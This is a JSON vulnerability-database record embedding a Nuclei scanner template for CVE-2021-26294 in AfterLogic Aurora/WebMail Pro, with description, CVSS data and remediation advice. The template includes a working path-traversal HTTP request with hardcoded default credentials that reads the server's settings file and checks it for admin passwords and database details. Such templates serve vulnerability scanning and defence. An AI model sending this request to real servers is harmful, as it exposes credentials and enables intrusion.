{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-26294/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-26294/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-26294/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-26294/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-26294/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-26294"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-26294"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-26294.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2021-26294\n\ninfo:\n  name: AfterLogic Aurora and WebMail Pro < 7.7.9 - Information Disclosure\n  author: johnk3r\n  severity: high\n  description: |\n    AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP GET request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to read all files under the web root.\n  impact: |\n    Unauthenticated attackers using hardcoded credentials can read arbitrary files under the web root, potentially exposing sensitive configuration data, credentials, and proprietary information.\n  remediation: |\n    Upgrade to AfterLogic Aurora or WebMail Pro version 7.7.10 or later.\n  reference:\n    - https://github.com/E3SEC/AfterLogic/blob/main/CVE-2021-26294-exposure-of-sensitive-information-vulnerability.md\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-26294\n    - https://github.com/Threekiii/Awesome-POC\n    - https://github.com/soosmile/POC\n    - https://github.com/tzwlhack/Vulnerability\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2021-26294\n    cwe-id: CWE-22\n    epss-score: 0.16899\n    epss-percentile: 0.96918\n    cpe: cpe:2.3:a:afterlogic:aurora:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: afterlogic\n    product: aurora\n    fofa-query:\n      - \"X-Server: AfterlogicDAVServer\"\n      - \"x-server: afterlogicdavserver\"\n  tags: cve2021,cve,afterlogic,exposure,AfterLogic,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /dav/server.php/files/personal/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data/settings/settings.xml HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic Y2FsZGF2X3B1YmxpY191c2VyQGxvY2FsaG9zdDpjYWxkYXZfcHVibGljX3VzZXI\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"<AdminLogin>\"\n          - \"<AdminPassword>\"\n          - \"<DBHost>\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"application/octet-stream\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402202ade5509cdb05c60d0ee823b994874683d649067ff2938bbd162d32632361c4f022044ea35e8c43b6249ba6246ad912f3f791a526f3d2890bb03a62aa43cd1318857:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-26294"
}